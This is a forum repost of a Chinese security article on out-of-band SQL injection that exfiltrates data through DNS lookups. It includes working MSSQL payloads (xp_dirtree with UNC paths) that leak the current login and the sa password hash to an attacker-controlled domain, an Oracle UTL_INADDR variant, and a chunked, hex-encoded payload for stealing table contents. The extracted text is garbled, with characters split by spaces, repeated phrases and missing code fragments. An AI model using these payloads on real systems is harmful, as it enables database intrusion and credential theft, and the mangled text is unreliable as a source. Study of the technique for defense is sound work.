搜索

[11528] 2017-07-04_OOB（outofband）分析系列之DNS渗漏

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2017-07-04_OOB（outofband）分析系列之DNS渗漏 O O B （ o u t   o f   b a n d ） 分 析 系 列 之 D N S 渗 漏 温 酒   F r e e B u f   2 0 1 7 - 0 7 - 0 4 * 本 文 原 创 作 者 ： 温 酒 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 前 言 前 言 S Q L 注 入 作 为 最 老 的 漏 洞 之 一 ， 它 的 价 值 随 着 整 个 注 入 作 为 最 老 的 漏 洞 之 一 ， 它 的 价 值 随 着 整 个 w e b 的 发 展 从 来 没 有 过 时 ， 足 以 证 明 它 的 地 位 和 价 值 。 的 发 展 从 来 没 有 过 时 ， 足 以 证 明 它 的 地 位 和 价 值 。 我 和 很 多 人 聊 过 这 个 漏 洞 ， 发 现 很 多 人 对 这 个 漏 洞 的 了 解 只 是 拿 s q l m a p 干 ， 好 一 点 的 还 会 手 注 ， 懂 原 理 。 但 是 它 们 本 身 只 了 解 到 了 这 个 漏 洞 的 实 战 效 果 和 实 战 需 要 等 等 ， 并 没 有 深 入 了 解 这 个 漏 洞 。 但 是 这 个 漏 洞 本 身 基 于 数 据 库 ， 而 数 据 库 是 很 灵 活 的 ， 就 会 发 展 出 很 多 邪 道 。 笔 者 最 近 看 了 很 多 关 于 s q l 注 入 的 文 章 ， 发 现 国 外 已 经 玩 出 玫 瑰 花 来 了 ， 就 打 算 写 个 系 列 总 结 一 下 。 这 篇 文 章 的 面 向 对 象 不 是 新 手 ， 起 码 你 要 会 s q l 的 手 注 ， 知 道 s q l 注 入 的 原 理 并 且 熟 知 各 大 数 据 库 的 函 数 和 特 性 。 因 为 这 篇 文 章 不 会 讲 这 些 东 西 但 是 又 基 于 这 些 东 西 ， 不 会 是 很 难 看 懂 的 。 我 的 我 的 Q Q : 1 4 7 8 0 2 3 4 8 8 欢 迎 任 何 人 找 我 讨 论 ， 但 是 拒 绝 闲 聊 和 扯 淡 . O O B S Q L 注 入 类 型 细 分 ， 分 为 以 下 5 种 ： 共 计 3 大 类 ： 这 篇 文 章 的 主 题 是 这 篇 文 章 的 主 题 是 o u t   o f   b a n d ， 即 ， 即 O O B 。 。 它 与 我 们 熟 知 的 i n b a n d 类 的 注 入 相 反 。 i n b a n d 是 利 用 w e b 应 用 来 直 接 获 取 数 据 ， 比 如 E r r o r - b a s e d   S Q L   i n j e c t i o n 和 E r r o r - b a s e d   S Q L   i n j e c t i o n 都 是 属 于 i n b a n d 类 ， 它 们 都 是 通 过 w e b 的 响 应 或 者 错 误 反 馈 来 提 取 数 据 。 而 i n f e r e n c e 则 是 通 过 w e b 的 一 些 反 映 来 推 断 数 据 ， 比 如 B o o l e a n - b a s e d   b l i n d   S Q L   i n j e c t i o n 和 S t a c k e d   q u e r i e s   S Q L i n j e c t i o n   也 就 是 我 们 通 俗 的 盲 注 ， 通 过 w e b 应 用 的 其 他 改 变 来 推 断 数 据 。 ( 因 为 我 喜 欢 p h p ， 所 以 用 P D O 作 为 基 准 ， 而 P D O 只 会 返 回 第 一 条 S Q L 语 句 的 执 行 结 果 ， 所 以 一 般 不 能 直 接 拿 到 数 据 ， 一 般 都 是 通 过 u p d a t e 某 个 可 见 字 段 或 者 s l e e p 注 入 ， 所 以 我 归 为 i n f e r e n c e 类 ) M e t h o d r e q u e s t s T i m e B o o l e a n - b a s e d   b l i n d 2 9 , 2 1 2 2 1 4 . 0 4 T i m e - b a s e d   ( 1   s e c ) 3 2 , 7 1 6 1 7 , 7 2 0 . 5 1 E r r o r - b a s e d 7 7 7 9 . 0 2 U n i o n   ( f u l l / p a r t i a l ) 3 / 1 3 6 0 . 7 0 / 2 . 5 0 D N S   e x f i l t r a t i o n 1 , 4 0 9 3 5 . 3 1 数 据 来 源 数 据 来 源 我 们 的 主 角 O O B 则 是 通 过 其 他 传 输 方 式 来 获 得 数 据 ， 比 如 利 用 我 们 等 会 要 说 到 的 D N S 解 析 协 议 和 电 子 邮 件 。 当 你 遇 到 了 某 些 很 隐 蔽 的 注 入 点 ， i n b a n d 类 注 入 没 办 法 用 ， i n f e r e n c e 类 注 入 被 你 嫌 弃 太 慢 的 时 候 ， O O B 就 是 你 最 好 的 选 择 了 。
利 用 利 用 D N S 偷 走 数 据 偷 走 数 据 当 说 这 个 之 前 ， 你 需 要 知 道 D N S 的 原 理 ： 实 际 上 复 杂 的 多 ， 是 一 个 分 级 查 询 。 先 向 根 域 名 服 务 器 查 询 顶 级 域 名 服 务 器 ， 然 后 顶 级 域 名 服 务 器 查 询 次 级 域 名 ， 这 样 一 层 层 查 询 下 来 的 。 作 为 攻 击 者 ， 我 们 只 能 控 制 需 要 查 询 的 域 名 和 域 名 的 N S 服 务 器 。 域 名 的 N S 服 务 器 可 以 在 域 名 注 册 商 那 里 修 改 ， 如 何 搭 建 N S 服 务 器 就 不 谈 了 。 以 及 还 需 要 知 道 w i n 对 U N C ( U n i v e r s a l - N a m i n g - C o n v e n t i o n ) 的 内 在 支 持 ， 当 我 们 尝 试 连 接 到 一 个 U N C 路 径 的 时 候 ， w i n 会 先 查 找 目 标 域 名 的 i p 地 址 ， 用 以 建 立 连 接 。 比 如 ， 给 某 个 文 件 处 理 函 数 的 文 件 路 径 是 这 种 ， 那 么 w i n 操 作 系 统 会 在 的 d n s 服 务 器 上 查 找 的 域 名 的 i p 。 所 以 我 们 可 以 通 过 监 视 d n s 服 务 器 来 捕 获 数 据 。 那 么 显 然 ， 利 用 d n s 偷 数 据 的 方 法 ， 除 了 大 家 熟 知 的 m y s q l + w i n 环 境 可 以 利 用 ， 只 要 是 有 能 操 控 文 件 的 函 数 且 在 w i n 环 境 下 运 行 的 数 据 库 都 可 以 利 用 这 种 方 法 。 比 如 m s s q l 的 4 个 文 件 操 作 函 数 : 函 数 名 函 数 名 支 持 的 数 据 库 版 本 支 持 的 数 据 库 版 本 需 要 的 参 数 需 要 的 参 数 x p _ g e t f i l e d e t a i l s M i c r o s o f t   S Q L   S e r v e s   2 0 0 0 文 件 路 径 x p _ f i l e e x i s t 全 系 列 文 件 路 径 x p _ d i r t r e e 全 系 列 文 件 路 径 x p _ s u b d i r s 全 系 列 文 件 路 径 利 用 d n s 获 得 当 前 登 陆 的 用 户 ， 可 以 使 用 : d e c l a r e   @ x i a o z e   c h a r ( 1 2 8 ) ; s e t   @ x i a o z e = ’ ‘ + s y s t e m _ u s e r + ’ . x i a o z e . c o m . ’ ; e x e c   m a s t e r . . x p _ d i r t r e e   @ x i a o z e 如 果 想 获 得 s a 账 号 的 密 码 h a s h ， 可 以 使 用 : d e c l a r e   @ x i a o z e   v a r c h a r ( 1 2 8 ) ; s e l e c t   @ h o s t = ” ‘ + ( s e l e c t   t o p   1 m a s t e r . d b o . f n _ v a r b i n t o h e x s t r ( p a s s w o r d _ h a s h ) f r o m   s y s . s q l _ l o g i n s   w h e r e   n a m e = ’ s a ’ ) + ’ . x i a o z e . c o m . ’ ; e x e c   m a s t e r . . x p _ d i r t r e e   @ x i a o z e ; 因 为 在 测 试 的 时 候 发 现 直 接 使 用 字 符 串 拼 接 会 报 错 ， 所 以 我 用 了 一 个 变 量 来 保 存 路 径 。 但 是 也 有 小 伙 伴 测 试 发 现 直 接 拼 接 不 会 报 错 ， 具 体 情 况 大 家 自 己 搭 建 环 境 测 试 吧 ， 我 的 环 境 是 M i c r o s o f t   S Q L   S e r v e s   2 0 0 0 。 上 面 的 语 句 通 过 文 件 操 作 函 数 触 发 了 w i n 的 U N C ， 引 发 了 一 次 D N S 操 作 ， 在 向 我 们 的 n s 服 务 器 查 询 子 域 名 i p 的 时 候 就 可 以 捕 捉 到 数 据 。 同 样 ， 除 了 m s s q l 和 m y s q l 可 以 利 用 d n s 偷 数 据 ， 只 要 内 置 文 件 操 作 函 数 的 数 据 库 都 可 以 利 用 。 比 如 O r a c l e ， O r a c l e 的 利 用 比 m s s q l 简 单 很 多 。 可 以 直 接 使 用 U T L _ I N A D D R 包 （ 官 方 文 档 戳 我 ） ， 而 且 因 为 不 依 赖 P L / S Q L 所 以 可 以 直 接 插 入 到 子 查 询 或 者 w h e r e 之 后 。 a d m i n . x i a o z e . c o m t o p s x i a o z e . c o m a d m i n . x i a o z e . c o m
在 O r a c l e 下 想 获 得 数 据 库 登 陆 用 户 可 以 用 : s e l e c t   *   f r o m   x i a o z e   w h e r e   l m z = U T L _ I N A D D R . G E T _ H O S T _ A D D R E S S ( ( S E L E C T   U S E R   F R O M   D U A L ) | | ’ . x i a o z e . c o m ’ 其 他 的 比 如 M y S Q L 和 P o s t g r e S Q L 也 是 一 样 的 原 理 ， 我 就 不 浪 费 篇 幅 了 。 实 际 问 题 实 际 问 题 这 个 技 术 本 质 是 利 用 U N C 发 起 的 D N S 查 询 ， 所 以 U N C 的 路 径 不 能 超 过 1 2 8 ， 否 则 会 失 败 。 所 以 我 上 面 的 中 间 变 量 长 度 都 是 1 2 8 。 同 时 也 不 能 出 现 非 法 字 符 ， 否 则 也 会 失 败 。 一 般 会 把 希 望 传 递 的 数 据 转 化 成 能 被 d n s 正 确 处 理 的 格 式 ， 比 如 变 成 1 6 进 制 。 m s s q l 内 置 了 一 个 名 为 的 函 数 ， 它 接 收 一 个 字 符 串 作 为 参 数 并 返 回 这 个 字 符 串 的 1 6 进 制 表 示 。 比 如 : 。 这 句 s q l 语 句 执 行 的 结 果 是 , 也 就 是 s a 的 u n i c o d e 编 码 后 的 样 子 。 接 下 来 就 是 长 度 问 题 ， 因 为 经 过 上 面 的 1 6 进 制 编 码 之 后 ， 1 2 8 个 字 符 的 空 间 就 显 的 太 少 了 ， 很 容 易 就 超 出 。 这 样 要 么 我 们 只 能 收 到 前 1 2 8 个 字 符 ， 剩 下 的 就 被 丢 掉 了 ， 也 可 能 干 脆 直 接 失 败 。 1 2 8 包 括 完 整 的 整 个 请 求 ， 包 括 前 面 的 和 结 尾 的 这 点 尤 为 注 意 。 同 时 一 个 标 识 符 占 用 1 2 8 个 字 符 是 非 法 的 ， 最 多 不 能 超 过 6 3 个 字 符 ， 比 如 就 是 一 个 标 签 符 ， 它 占 用 3 个 字 符 。 具 体 的 解 释 请 打 开 《 T C P / I P 详 解 — 卷 1 : 协 议 》 ( 机 器 工 业 出 版 社 第 一 版 ) 的 第 1 4 6 页 中 间 的 图 1 4 - 6 那 段 。 为 了 能 正 常 完 整 的 偷 取 数 据 ， 我 们 需 要 对 数 据 进 行 编 码 ， 并 且 不 能 超 过 6 3 个 字 节 。 编 码 可 以 用 函 数 解 决 。 长 度 可 以 用 函 数 截 取 控 制 长 度 。 完 整 且 能 保 证 稳 定 的 利 用 语 句 : d e c l a r e   @ x i a o z e   c h a r ( 1 2 8 ) ; s e l e c t   @ x i a o z e = ’ ‘ + m a s t e r . d b o . f n _ v a r b i n t o h e x s t r ( C A S T ( S U B S T R I N G ( ( S E L E C T   T O P   1 C A S T ( X i a o Z e   A S   c h a r ( 2 5 5 ) )   F R O M   L M Z ) , 1 , 2 6 )   A S V A R B I N A R Y ( 2 5 5 ) ) ) + ’ . X i a o Z e L o v e L M Z . c o m . ’ ; E X E C   m a s t e r . . x p _ d i r t r e e   @ x i a o z e ; 由 于 d n s 查 询 会 先 查 看 本 地 缓 存 ， 所 以 为 了 能 成 功 发 出 查 询 ， 建 议 在 请 求 中 加 入 一 些 随 机 值 ， 比 如 我 在 我 自 己 写 的 工 具 里 面 ， 随 机 值 是 我 老 婆 每 个 月 的 月 经 时 间 ， 每 次 向 后 推 两 天 ， 幸 好 她 的 月 经 时 间 不 固 定 ， 否 则 我 只 能 随 机 她 生 气 的 时 间 了 。 比 如 她 看 到 这 段 话 的 时 候 ？ 结 语 结 语 实 际 上 O O B 的 方 法 很 多 ， 但 是 大 部 分 都 是 实 战 意 义 不 高 的 技 术 。 比 如 利 用 i c m p 和 电 子 邮 件 或 者 h t t p 头 来 偷 数 据 。 如 果 有 人 有 兴 趣 ， 我 会 全 部 写 一 遍 的 。 * 本 文 原 创 作 者 ： 温 酒 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 f n _ v a r b i n t o h e x s t r s e l e c t   m a s t e r . d b o . f n _ v a r b i n t o h e x s t r ( c a s t ( S Y S T E M _ U S E R   a s   V A R B I N A R Y ) ) 0 x 7 3 0 0 6 1 0 0 c o m . c o m f n _ v a r b i n t o h e x s t r s u b s t r i n g
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理